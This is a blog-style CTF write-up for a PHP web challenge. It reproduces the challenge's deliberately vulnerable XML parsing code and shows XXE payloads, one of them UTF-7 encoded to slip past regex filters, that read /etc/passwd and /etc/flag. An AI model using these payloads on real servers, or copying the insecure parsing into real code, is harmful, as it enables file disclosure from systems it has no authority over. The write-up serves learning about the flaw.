CaptureTheFlag Lumiere32

Challenge : Web-based

·

5 min read

Hi guys this is my first blog, i had few thoughts like how should i start my blogging path whether with bug-bounty reports or new arising technology talks or with Vulnerabilities / Attacks. Finally i came with conclusion to start with this amazing CaptureTheFlag challenge i have played.

Without wasting time and let's dive into the blog !!!!

Galaxy :

We can see the webpage which is using PHP language.

Info-gathering :

  • As we explored the webpage we can see the Apply now is redirecting to the /careers.PHP

  • It is leading us to career.PHP page where we have some input fields which we always love to see

  • When we gave some random characters on each field and i have intercept the request on burp-suite

  • It is sending the given input as an XML data with POST method on /submit_form.PHP path

Foothold :

FYI : we do have provided with the source code as the part of the challenge - submit_form.PHP

<?php
libxml_disable_entity_loader (false);

$xmlData = file_get_contents("php://input");

if ($_SERVER['REQUEST_METHOD'] == 'POST'){
    $xmlData = preg_replace('/<!DOCTYPE[^>]*>/', '', $xmlData);
    $xmlData = preg_replace('/<!ENTITY.*?>/', '', $xmlData);
    $xmlData = preg_replace('/<!\[CDATA\[.*?\]\]>/s', '', $xmlData);
    $xmlData = preg_replace('/<xi:include.*?>/si', '', $xmlData);
    $xmlData = preg_replace('/xsi:schemaLocation\s*=\s*[\'"][^\'"]*[\'"]/i', '', $xmlData);
    $xmlData = preg_replace('/<!--.*?-->/s', '', $xmlData);
    $xmlData = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/', '', $xmlData);

}

else {
    // Only POST requests are accepted";
    http_response_code(500);
    header('Location: /cheater.php');
}

$doc = new DOMDocument();
$doc->loadXML($xmlData,LIBXML_NOENT);
$xml = simplexml_import_dom($doc);

// extract form data
$firstName = (string) $xml->{"fname"};
$lastName = (string) $xml->{"lname"};
$salary = (string) $xml->{"salary"};
$description = (string) $xml->{"description"};

// response
echo "
<br><br><br>
<div align='center'>
<h1 class='mb-4 text-4xl font-extrabold leading-none tracking-tight text-gray-900 md:text-5xl lg:text-6xl dark:text-white'>We will contact you soon!</h1>
<p class='mb-6 text-lg font-normal text-gray-500 lg:text-xl sm:px-16 xl:px-48 dark:text-gray-400'>
Hey $firstName, Thanks for applying!
</p>
<a href='/' class='inline-flex items-center justify-center px-5 py-3 text-base font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:ring-blue-300 dark:focus:ring-blue-900'>
    Return to Home
    <svg class='w-5 h-5 ml-2 -mr-1' fill='currentColor' viewBox='0 0 20 20' xmlns='http://www.w3.org/2000/svg'><path fill-rule='evenodd' d='M10.293 3.293a1 1 0 011.414 0l6 6a1 1 0 010 1.414l-6 6a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-4.293-4.293a1 1 0 010-1.414z' clip-rule='evenodd'></path></svg>
</a>
</div>
<br><br><br>
";


?>
<!--  end handling -->
  • By analyzing the code above we can see that it is XXE XML Injection vulnerability and it is reflecting on first-name [fname]
// response
echo "
<br><br><br>
<div align='center'>
<h1 class='mb-4 text-4xl font-extrabold leading-none tracking-tight text-gray-900 md:text-5xl lg:text-6xl dark:text-white'>We will contact you soon!</h1>
<p class='mb-6 text-lg font-normal text-gray-500 lg:text-xl sm:px-16 xl:px-48 dark:text-gray-400'>
Hey $firstName, Thanks for applying!
</p>
<a href='/' class='inline-flex items-center justify-center px-5 py-3 text-base font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:ring-blue-300 dark:focus:ring-blue-900'>
    Return to Home
    <svg class='w-5 h-5 ml-2 -mr-1' fill='currentColor' viewBox='0 0 20 20' xmlns='http://www.w3.org/2000/svg'><path fill-rule='evenodd' d='M10.293 3.293a1 1 0 011.414 0l6 6a1 1 0 010 1.414l-6 6a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-4.293-4.293a1 1 0 010-1.414z' clip-rule='evenodd'></path></svg>
</a>
</div>
<br><br><br>
";

BUT ...

  • If we tried to give any XXE payload

  • It is performing some checks and filtering out the words. If we gave any XXE XML payloads which is having <!DOCTYP[> or <!ENTITY.*?> or it will get filtered out and replaced with null based on below conditions
$xmlData = file_get_contents("php://input");

if ($_SERVER['REQUEST_METHOD'] == 'POST'){
    $xmlData = preg_replace('/<!DOCTYPE[^>]*>/', '', $xmlData);
    $xmlData = preg_replace('/<!ENTITY.*?>/', '', $xmlData);
    $xmlData = preg_replace('/<!\[CDATA\[.*?\]\]>/s', '', $xmlData);
    $xmlData = preg_replace('/<xi:include.*?>/si', '', $xmlData);
    $xmlData = preg_replace('/xsi:schemaLocation\s*=\s*[\'"][^\'"]*[\'"]/i', '', $xmlData);
    $xmlData = preg_replace('/<!--.*?-->/s', '', $xmlData);
    $xmlData = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/', '', $xmlData);

}

Exploitation :

we have two ways to solve this challenge

Intended way :

  • Like we analyze the source-code we can see that it only performs check if the request method is POST
if ($_SERVER['REQUEST_METHOD'] == 'POST')
  • If we tried to change the request method from POST to GET using burp and give the XXE payload

  • As you can see we can able to see the /etc/passwd file content on response side. Also we can get the flag content which is available on /etc/flag

  • This is the intended way to solve the challenge

Unintended way (Out-of-box) :

After looking at the code of submit_form.PHP file i got an idea it does perform checks based on the input we are giving on POST method.

Example: if we gave <!DOCTYPE]> it will filter it out to null but what if we inject the same XXE data but this time this will cheat the application bypasses this check

XML Attributes :

This is where Attributes comes to the play we all know there are some attributes on XML XXE payload

  • After spending some time on the internet i found one cool method in which we can change this particular attribute and bypass the above checks
<?xml version="1.0" encoding="UTF-8"?>
  • In above line we can see encoding attribute which will tell the application what encoding we have used on the XML data

  • What if ? we change the encoding type and encode the XML XXE payload

  • I have used UTF-7 instead of UTF-8

<?xml version="1.0" encoding="UTF-7"?>
  • i have encoded the below normal XXE payload with UTF-7 encoding
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/flag" >]>
<data>
<fname>&xxe;</fname>
<lname>a</lname>
<salary>400</salary>
<description>assas</description>
</data>

using online encoding tool :

  • Now lets copy that payload and sent it on the repeater

  • Below is the final payload

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo +AFs  
  +ADwAIQ-ELEMENT foo ANY +AD4
  +ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI +AD4AXQA+
+ADw-data+AD4
+ADw-fname+AD4AJg-xxe+ADsAPA-/fname+AD4
+ADw-lname+AD4-a+ADw-/lname+AD4
+ADw-salary+AD4-400+ADw-/salary+AD4
+ADw-description+AD4-assas+ADw-/description+AD4
+ADw-/data+AD4-
  • As you can see below we got the file contents of /etc/passwd

  • This is unintended way of solving this challenge which i learned a lot exploring for this method

:) Hope you guys like it ....